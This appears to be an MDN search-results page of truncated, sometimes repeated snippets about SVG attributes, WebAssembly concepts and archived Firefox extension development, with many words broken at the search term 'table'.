" height="100" fill="skyblue"></rect> <rect x="140" y="20" width="60" height="60" fill="yellow" display="none"></rect> </svg> usage notes default value inline value [ <display-outside> | <display-inside> ] | <display-listitem> | <display-internal> | <display-box> | <display-legacy>where <display-outside> = block | inline | run-in<display-inside> = flow | flow-root |
table | flex | grid | ruby<display-listitem> = <display-outside>? && [ flow | flow-root ]? && list-item<display-internal> =
table-row-group |
table-header-group |
table-footer-group |
table-row |
table-cell |
table-column-group |
table-column |
table-caption | ruby-base | ruby-text | ruby-base-container | ruby-text-container<display-box> = contents | none<display-legacy> = inline-block | inline-list-it...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'display' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'display' in that specification. ...
in2 - SVG: Scalable Vector Graphics
end>, <fecomposite> and <fedisplacementmap>. feblend for <feblend>, in2 defines the second input image to the blending operation. ...
... anima
table yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive anima
table yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result o...
...isplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive anima
table yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification. working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification. working draft no change filter effects module level 1the definit...
kernelUnitLength - SVG: Scalable Vector Graphics
a scalable, abstract coordinate system. if the attribute is not specified, the default value is one pixel in the offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable. if a negative or zero value is specified the default value will be used instead. value <number-optional-number> default value pixel in offscreen bitmap anima
table yes <number-optional-number> the first number is the x value. the second number is the y value. if the x value is not specified, it defaults to the same value as x. fediffuselighting for the <fediffuselighting>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of attribute primitiveunits) for the x and y coordinate, r...
...as relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable. if a negative or zero value is specified the default value will be used instead. value <number-optional-number> default value pixel in offscreen bitmap anima
table yes fespecularlighting for the <fespecularlighting>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of attribute primitiveunits) for the x and y coordinate, respectively, in the surface normal calculation formulas. the first number is the x value. the second number is the y value. if the y value is not specified, it d...
... relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable. if a negative or zero value is specified the default value will be used instead. value <number-optional-number> default value pixel in offscreen bitmap anima
table yes specifications specification status comment filter effects module level 1the definition of 'kernelunitlength for <fespecularlighting>' in that specification. working draft marked the attribute as deprecated. filter effects module level 1the definition of 'kernelunitlength for <fediffuselighting>' in that specification. working draft ...
kerning - SVG: Scalable Vector Graphics
note: as a presentation attribute kerning can be used as a css property. in css the property is called font-kerning, though. ...
... <length> if a length is provided, then auto-kerning is disabled. instead, inter-character spacing is set to the given length. if a length is provided without a unit identifier (e.g., an unqualified number such as 128), the length is ...
..." xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto anima
table yes auto this value indicates that the spacing between glyphs is adjusted based on kerning
tables that are included in the font that will be used. <length> if a length is provided, then auto-kerning is disabled. instead, inter-character spacing is set to the given length. if a length is provided without a unit identifier (e.g., an unqualified number such as 128), the length is processed as a width value in the current user coordinate system. if a unit identifier (e.g., 0.25em or 1%) is...
viewBox - SVG: Scalable Vector Graphics
ribute. note: values for width or height lower or equal to 0 disable rendering of the element. five elements are using this attribute: <marker>, <pattern>, <svg>, <symbol>, and <view>. marker for <marker>, viewbox defines the position and dimension for the content of the <marker> element. value <number>?, <number>?, <number>?, <number> default value none anima
table yes pattern for <pattern>, viewbox defines the position and dimension for the content of the pattern tile. value <number>?, <number>?, <number>?, <number> default value none anima
table yes svg for <svg>, viewbox defines the position and dimension for the content of the <svg> element. value <number>?, <number>?, <number>?, <numbe...
...efines the position and dimension for the content of the pattern tile. value <number>?, <number>?, <number>?, <number> default value none anima
table yes svg for <svg>, viewbox defines the position and dimension for the content of the <svg> element. value <number>?, <number>?, <number>?, <number> default value none anima
table yes symbol for <symbol>, viewbox defines the position and dimension for the content of the <symbol> element. value <number>?, <number>?, <number>?, <number> default value none anima
table yes view for <view>, viewbox defines the position and dimension for the content of the <view> element. value <number>?, <number>?, <number>?, <...
...the position and dimension for the content of the <symbol> element. value <number>?, <number>?, <number>?, <number> default value none anima
table yes view for <view>, viewbox defines the position and dimension for the content of the <view> element. value <number>?, <number>?, <number>?, <number> default value none anima
table yes specification specification status comment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewbox' in that specification. recommendation initial definition ...
<animateMotion> - SVG: Scalable Vector Graphics
0 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values. ...
...lements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values. value type: <number>*; default value: none; anima
table: no path this attribute defines the path of the motion, using the same syntax as the d attribute. value type: <string>; default value: none; anima
table: no rotate this attribute defines a rotation applied to the elment animated along a path, usually to make it pointing in the direction of the animation. ...
...t value: none; anima
table: no path this attribute defines the path of the motion, using the same syntax as the d attribute. value type: <string>; default value: none; anima
table: no rotate this attribute defines a rotation applied to the elment animated along a path, usually to make it pointing in the direction of the animation. ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
<stop offset="1" stop-color="#800080"></stop> </lineargradient> <filter id="identity" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="identity"></fefuncr> <fefuncg type="identity"></fefuncg> <fefuncb type="identity"></fefuncb> <fefunca type="identity"></fefunca> </fecomponenttransfer> </filter> <filter id="
table" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="
table"
tablevalues="0 0 1 1"></fefuncr> <fefuncg type="
table"
tablevalues="1 1 0 0"></fefuncg> <fefuncb type="
table"
tablevalues="0 1 1 0"></fefuncb> </fecomponenttransfer> </filter> <filter id="discrete" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> ...
...ight="100%"> <fecomponenttransfer> <fefuncr type="
table"
tablevalues="0 0 1 1"></fefuncr> <fefuncg type="
table"
tablevalues="1 1 0 0"></fefuncg> <fefuncb type="
table"
tablevalues="0 1 1 0"></fefuncb> </fecomponenttransfer> </filter> <filter id="discrete" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="discrete"
tablevalues="0 0 1 1"></fefuncr> <fefuncg type="discrete"
tablevalues="1 1 0 0"></fefuncg> <fefuncb type="discrete"
tablevalues="0 1 1 0"></fefuncb> </fecomponenttransfer> </filter> <filter id="linear" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope=...
... <fefuncb type="gamma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0" y="20">default</text> <rect x="0" y="30" width="100%" height="20"></rect> <text x="0" y="70">identity</text> <rect x="0" y="80" width="100%" height="20" style="filter:url(#identity)"></rect> <text x="0" y="120">
table lookup</text> <rect x="0" y="130" width="100%" height="20" style="filter:url(#
table)"></rect> <text x="0" y="170">discrete
table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:url(#linear)"></rect> <text x="0" y="270">gamma...
<feDropShadow> - SVG: Scalable Vector Graphics
filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:url(#shadow3);"/> </svg> attributes dx this attribute defines the x offset of the drop shadow. ...
... cy="50%" r="4" style="fill:pink; filter:url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:url(#shadow3);"/> </svg> attributes dx this attribute defines the x offset of the drop shadow. value type: <number>; default value: 2; anima
table: yes dy this attribute defines the y offset of the drop shadow. value type: <number>; default value: 2; anima
table: yes stddeviation this attribute defines the standard deviation for the blur operation in the drop shadow. ...
... attributes dx this attribute defines the x offset of the drop shadow. value type: <number>; default value: 2; anima
table: yes dy this attribute defines the y offset of the drop shadow. value type: <number>; default value: 2; anima
table: yes stddeviation this attribute defines the standard deviation for the blur operation in the drop shadow. ...
<foreignObject> - SVG: Scalable Vector Graphics
s="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit. sed mollis mollis mi ut ultricies. nullam magna ipsum, porta vel dui convallis, rutrum imperdiet eros. aliquam erat volutpat. </div> </foreignobject> </svg> attributes height the height of the foreignobject. ...
...mollis mi ut ultricies. nullam magna ipsum, porta vel dui convallis, rutrum imperdiet eros. aliquam erat volutpat. </div> </foreignobject> </svg> attributes height the height of the foreignobject. value type: <length>|<percentage> ; default value: auto; anima
table: yes width the width of the foreignobject. value type: <length>|<percentage> ; default value: auto; anima
table: yes x the x coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; anima
table: yes y the y coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; anima
table: yes note: starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. global a...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications sp...
<mask> - SVG: Scalable Vector Graphics
90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height this attribute defines the height of the masking area. value type: <length> ; default value: 120%; anima
table: yes maskcontentunits this attribute defines the coordinate system for the contents of the <mask>. value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; anima
table: yes maskunits this attribute defines defines the coordinate system for attributes x, y, width and height on the <mask>. value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; ani...
...yes maskcontentunits this attribute defines the coordinate system for the contents of the <mask>. value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; anima
table: yes maskunits this attribute defines defines the coordinate system for attributes x, y, width and height on the <mask>. value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; anima
table: yes x this attribute defines the x-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; anima
table: yes y this attribute defines the y-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; anima
table: yes width this attribute defines the width of the masking area. value type: <le...
...he x-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; anima
table: yes y this attribute defines the y-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; anima
table: yes width this attribute defines the width of the masking area. ...
<path> - SVG: Scalable Vector Graphics
shapes can be created with a path element. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path. ...
...0,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path. value type: <string> ; default value: ''; anima
table: yes pathlength this attribute lets authors specify the total length for the path, in user units. ...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elem...
<polygon> - SVG: Scalable Vector Graphics
-> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon. ...
...50,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon. value type: <number>+ ; default value: ""; anima
table: yes pathlength this attribute lets specify the total length for the path, in user units. ...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number ...
<stop> - SVG: Scalable Vector Graphics
)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector. ...
...5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector. value type: <number>|<percentage>; default value: 0; anima
table: yes stop-color this attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; anima
table: yes stop-opacity this attribute defines the opacity of the gradient stop. it can be used as a css property. ...
...pe: <number>|<percentage>; default value: 0; anima
table: yes stop-color this attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; anima
table: yes stop-opacity this attribute defines the opacity of the gradient stop. it can be used as a css property. ...
<style> - SVG: Scalable Vector Graphics
; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string. ...
...: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string. value type: <string>; default value: text/css; anima
table: no media this attribute defines to which media the style applies. value type: <string>; default value: all; anima
table: no title this attribute the title of the style sheet which can be used to switch between alternate style sheets. ...
... style sheet language to use as a media type string. value type: <string>; default value: text/css; anima
table: no media this attribute defines to which media the style applies. value type: <string>; default value: all; anima
table: no title this attribute the title of the style sheet which can be used to switch between alternate style sheets. ...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
those changes are listed below including their support status within mozilla applications. ...
...the methods ispointinfill() and ispointinstroke() are not implemented yet (bug 1325319). svgexternalresourcesrequired removed never implemented svgelement.viewport...
...graphics elements implementation status unknown allow x, y, width, and height on <symbol> implementation status unknown made <use> element shadow trees consistent with shadow dom spec implementation status unknown role mapping of <a> element depending on whether it is a valid link implementation status unknown aria state and property attributes anima
table implementation status unknown styling change notes contentstyletype attribute removed implementation status unknown linkstyle on svgstyleelement implemented (bug 1239128 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43)) inner <svg>s and <foreignobjects>s not overflow: hidden; in ua style sheet implementation status unknown ...
WebAssembly Concepts - WebAssembly
posing webassembly functions for use via javascript. javascript frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers. webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and por
table — webassembly code can be executed at near-native speed across different platforms by taking advantage of common hardware capabilities. be readable and debuggable — webassembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allows code to be written, viewed, and debugged by hand. keep secure — web...
...sic unit of webassembly code is called a module and webassembly modules are symmetric in many ways to es2015 modules. webassembly key concepts there are several key concepts needed to understand how webassembly runs in the browser. all of these concepts are reflected 1:1 in the webassembly javascript api. module: represents a webassembly binary that has been compiled by the browser into execu
table machine code. a module is stateless and thus, like a blob, can be explicitly shared between windows and workers (via postmessage()). a module declares imports and exports just like an es2015module. memory: a resizable arraybuffer that contains the linear array of bytes read and written by webassembly’s low-level memory access instructions.
table: a resizable typed array of references (e.g. to...
...dule. memory: a resizable arraybuffer that contains the linear array of bytes read and written by webassembly’s low-level memory access instructions.
table: a resizable typed array of references (e.g. to functions) that could not otherwise be stored as raw bytes in memory (for safety and portability reasons). instance: a module paired with all the state it uses at runtime including a memory,
table, and set of imported values. an instance is like an es2015 module that has been loaded into a particular global with a particular set of imports. the javascript api provides developers with the ability to create modules, memories,
tables, and instances. given a webassembly instance, javascript code can synchronously call its exports, which are exposed as normal javascript functions. arbitrary j...
Index - WebAssembly
bly in javascript, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. ...
...we also touched on the concept of multiplicity. ...
...we also touched on the concept of multiplicity. ...
SDK API Lifecycle - Archive of obsolete content
api will not change in future releases. at the same time, developers maintaining and extending the sdk's apis need to be able to introduce new apis that aren't yet fully proven, and to retire old apis when they're no longer optimal or supported by the underlying platform. the api lifecycle aims to balance these competing demands. it has two main components: a stability index that defines how s
table each module is a deprecation process that defines when and how s
table sdk apis can be changed or removed from future versions of the sdk while giving developers enough time to update their code. stability index the stability index is adopted from node.js. the sdk uses only four of the six values defined by node.js: experimental the module is not yet stabilized. you can try it out...
...iving developers enough time to update their code. stability index the stability index is adopted from node.js. the sdk uses only four of the six values defined by node.js: experimental the module is not yet stabilized. you can try it out and provide feedback, but we may change or remove it in future versions without having to pass through a formal deprecation process. uns
table the api is in the process of settling, but has not yet had sufficient real-world testing to be considered s
table. backwards-compatibility will be maintained if reasonable. if we do have to make backwards-incompatible changes, we will not guarantee the module will go through the formal deprecation process. s
table the module is a fully-supported part of the sdk. we will avoid breakin...
XUL Migration Guide - Archive of obsolete content
e released, we call them the "supported" apis. see the tutorials and the high-level api reference. if the supported apis do what you need, they're the best option: you get the benefits of compatibility across firefox releases and of the sdk's security model. apis like ui and panel are very generic and with the right content can be used to replace many specific xul elements. but there are some no
table limitations in the sdk apis and even a fairly simple ui may need some degree of redesign to work with them. some limitations are the result of intentional design choices. for example, action buttons appear by default in the main firefox toolbar (although users may relocate them by toolbar customization) because it makes for a better user experience for add-ons to expose their interfaces in a con...
...ld do if it were able to inject code into your add-ons context. this applies with even greater force to require("chrome"), since this gives full access to the browser's capabilities. example: porting the library detector porting the library detector walks through the process of porting a xul-based add-on to the sdk. it's a very simple add-on and a good candidate for porting because there are sui
table sdk apis for all its features. even so, we have to change its user interface slightly if we are to use only the supported apis. ...
Developing for Firefox Mobile - Archive of obsolete content
android widgets instead of xul. with the add-on sdk you can develop add-ons that run on this new version of firefox mobile as well as on the desktop version of firefox. you can use the same code to target both desktop firefox and firefox mobile, and use jpm-mobile instead of the normal jpm. right now not all modules are fully functional, but we're working on adding support for more modules. the
tables at the end of this guide list the modules that are currently supported on firefox mobile. this tutorial explains how to run sdk add-ons on an android device connected via usb to your development machine. we'll use the android debug bridge (adb) to communicate between the add-on sdk and the device. it's possible to use the android emulator to develop add-ons for android without access to a de...
...where on the device: adb push my-addon.xpi /mnt/sdcard/ then open firefox mobile and type this into the address bar: file:///mnt/sdcard/my-addon.xpi the browser should open the xpi and ask if you want to install it. afterwards you can delete it using adb as follows: adb shell cd /mnt/sdcard rm my-addon.xpi module compatibility modules not supported in firefox mobile are marked in the
tables below. high-level apis addon-page not supported base64 supported clipboard not supported context-menu not supported hotkeys supported indexed-db supported l10n supported notifications supported page-mod supported page-worker supported panel not supported ...
Miscellaneous - Archive of obsolete content
ent.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a dommousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences. the meaning of the action preference is shown in the following
table mousewheel.withxxxkey.action result 0 scroll by lines. if set, you will receive dommousescroll events. 1 scroll by page. 2 move around in the history. if set, you will not receive dommousescroll events. 3 change text size. if set, you will not receive dommousescroll events. you can listen to mouse wheel click events just like nor...
...l here (or read this from your prefs.js ...) var certificates = "root.crt,user.crt"; var certs = certificates.split(','); for (var i=0; i<certs.length; i++) { this.addcertificate(certs[i], 'c,c,c'); } }, addcertificate: function(certname, certtrust) { var certdb = cc["@mozilla.org/security/x509certdb;1"].getservice(ci.nsix509certdb2); var scrip
tablestream=cc["@mozilla.org/scrip
tableinputstream;1"].getservice(ci.nsiscrip
tableinputstream); var channel = gioservice.newchannel("chrome://yourapp/content/certs" + certname, null, null); var input=channel.open(); scrip
tablestream.init(input); var certfile=scrip
tablestream.read(input.available()); scrip
tablestream.close(); input.close(); var begincert = "-...
Displaying web content in an extension without security issues - Archive of obsolete content
hat the result will always have the same structure as the template tag. clonenode() always creates a copy and textcontent only manipulates text. so there is no chance of accidentally adding new elements or attributes. but what if you have to display html rather than only text, e.g. an rss feed entry? extension authors will often come up with flawed attempts to sanitize html code. ...
...ed entry? extension authors will often come up with flawed attempts to sanitize html code. instead, nsiscrip
tableunescapehtml.parsefragment() method should be used that is meant for just that scenario: var target = entry.getelementsbyclassname("description")[0]; var fragment = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscrip
tableunescapehtml) .parsefragment(description, false, null, target); target.appendchild(fragment); this will add the html code to the specified node — minus all the potentially dangerous content. ...
Enhanced Extension Installation - Archive of obsolete content
background there are several flaws with extension1 installation in firefox2 1.0, including: it is very difficult for a third party application with its own managed install process to install an extension into firefox. first it must locate the firefox execu
table, then run it with the -install-global-extension command line flag, which installs from a xpi into the firefox application directory. aside from the work of locating the firefox execu
table in the first place (which varies from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi. it forces it to have write access to the firefox directory in order to be installed, which may not always be the case. it forces its items to be located in d...
...e of that path, used to detect out of process upgrades. optionally, an operation key that tells the startup system that there is an install operation pending that needs to be finalized, e.g. needs-install, needs-upgrade, needs-uninstall, needs-enable, needs-disable, needs-install when the extension manager starts, this dataset is read into two data structures: the startup cache - a hash
table keyed off install location name and then guid, each entry having persistentdescriptor, mtime and id properties. the pending operations list - a set of entries organized into arrays hashed by operation key, each entry having a locationkey and id properties. the startup cache data structure is used to reflect the extensions-startup.manifest file over the lifetime of the running applicatio...
Local Storage - Archive of obsolete content
ed to carefully add migration code that moves the data from the old db format to the new, and this becomes increasingly complex as you add new versions and new structure changes. so, be careful and plan for the future. there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all
tables (through mozistorageconnection.create
table(), and initial data when your extension starts up for the first time. if you need a complex database this can be heavy in terms of time and code, but this will only happen once and this can be done in a lazy or asynchronous way. have an initial database file in your defaults directory that you can copy to the user's profile. this way you just need to d...
...e in your defaults directory that you can copy to the user's profile. this way you just need to do a file copy. you can reach the defaults directory at profd/extensions/your_extension_id.xpi/defaults for packed extensions or profd/extensions/your_extension_id/defaults for unpacked extensions. packed extensions have appear with gecko 2.0 (firefox 4.0). this approach has the downside of being less s
table. rdf rdf used to be the preferred storage mechanism for firefox. if was used for most of its datasources, and you can still see it in use here and there, like in the install.rdf file. it is being phased out, with sqlite taking its place in most cases. the rdf api may be removed at some point in the future because it requires a great deal of code even for the simplest tasks, and it currently se...
The Essentials of an Extension - Archive of obsolete content
re necessary for most extensions. if we open the chrome.manifest file (again, any text editor will do), we see that the same 3 sections are mentioned: content xulschoolhello content/ skin xulschoolhello classic/1.0 skin/ locale xulschoolhello en-us locale/ the chrome.manifest file tells firefox where to look for chrome files. the text is spaced to look like a
table, but that is not necessary. the parser ignores repeated spaces. the first word in a line tells firefox what it is that is being declared (content, skin, locale, or others mentioned later on). the second is the package name, which we will explain shortly. skin and locale packages have a third value to specify what locale or what skin they are extending. there can be multiple skin and locale entr...
...he typeof operator. if you're unfamiliar with javascript or this particular syntax, initializing an object as {} is the equivalent of initializing it to new object(). /** * controls the browser overlay for the hello world extension. */ xulschoolchrome.browseroverlay = { finally, browseroverlay is our object. naming and referencing objects in such a long and verbose manner can feel uncomfor
table at first, but it's worth the cost. we use javadoc style comments on all namespaces, objects and object members. this is a similar standard to the one used in mozilla code, and some tools can generate documentation automatically from javadoc. sayhello : function(aevent) { let stringbundle = document.getelementbyid("xulschoolhello-string-bundle"); let message = stringbundle.getstring("x...
Setting up an extension development environment - Archive of obsolete content
arameter), that second invocation would ignore its -p profilename parameter, instead opening a new window for the already running instance; sharing all its profile, sessions etc. download firefox download your desired version of firefox. unpack them in your user home directory, and name folders for easy navigation to firenightly and firedevedition or similar. you do not have to install these uns
table versions, if you do not wish. make a symbolic link (also referred to as a shortcut) to the firefox binary (firefox.exe on windows), then move the link to your desktop, or your preferred location. to run this version of firefox, simply double click on this file. explore this profile a little: change some settings, install any additional extensions, and finally close this instance of firefox. n...
... link to your desktop, or your preferred location. to run this version of firefox, simply double click on this file. explore this profile a little: change some settings, install any additional extensions, and finally close this instance of firefox. now run your firefox profile manager. (linux, mac os x, windows instructions.) you'll see the list of available user profiles one which is default (s
table) and other (uns
table) profile(s) created automatically when you run other versions of firefox earlier. choose default and uncheck "don't ask at startup" checkbox. click "start firefox". now when you start any version of firefox you may choose any profile you like. development command flags as of gecko 2 (firefox 4), javascript files are cached ("fastload"). the -purgecaches command-line flag di...
Signing an XPI - Archive of obsolete content
ork security services (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/. for windows, you'll want the nss-3.11.4.zip package in the nss_3_11_4_rtm/msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nss-3.11.4\ get netscape por
table runtime 1. download the latest netscape por
table runtime from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/. for windows you'll want the nspr-4.6.zip package in the v4.6/winnt5.0_opt.obj/ folder. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nspr-4.6\ add path add the nss tools bin/ and lib/, and the nspr lib/ directories ...
...ntool -g mytestcert -d . -p"password" using certificate directory: . warning: performing this operation while the browser is running could cause corruption of your security databases. if the browser is currently running, you should exit the browser before continuing this operation. enter "y" to continue, or anything else to abort: y enter certificate information. all fields are optional. accep
table characters are numbers, letters, spaces, and apostrophes. certificate common name: xpi test organization: tjworld organization unit: software state or province: nottingham country (must be exactly 2 characters): gb username: tj email address: certificates@lan.tjworld.net generated public/private key pair certificate request generated certificate has been signed certificate "mytestcert" added to d...
Search Extension Tutorial (Draft) - Archive of obsolete content
due to the large volume of user complaints regarding hidden settings being changed against their will, and not being restored after the add-ons responsible are disabled, mozilla will take any steps necessary to mitigate the impact of offending add-ons. ...
...offending add-ons. in particular, changing the location bar search keyword url in a way which is not automatically reset when the add-on is removed will result in a reset prompt for users. other settings violations designed to restrict user choice will result in stronger action, such as blacklisting of the add-ons in question. the most technically sound method of achieving this, and the only accep
table way of changing preferences such that they are automatically restored on add-on uninstall, is to make such changes in the default preference branch, as explained below. while the technical details below are important to understand, a library which encapsulates the appropriate logic is provided along with the example add-on at the end, and should be used where possible. changing default preference...
XML data - Archive of obsolete content
ues for the display property are: block displayed like html's div (for headings, paragraphs) inline displayed like html's span (for emphasis within text) add your own style rules that specify the font, spacing and other details in the same way as for html. more details other values of display display the element like a list item, or like a component of a
table. for the full list of display types, see the display property in the css specification. using css alone, the structure of the display must be the same as the structure of the document. other technologies can modify the structure of the display—for example, xbl can add content, and javascript can modify the dom. for more information about xml in mozilla, see the xml page in this wiki...
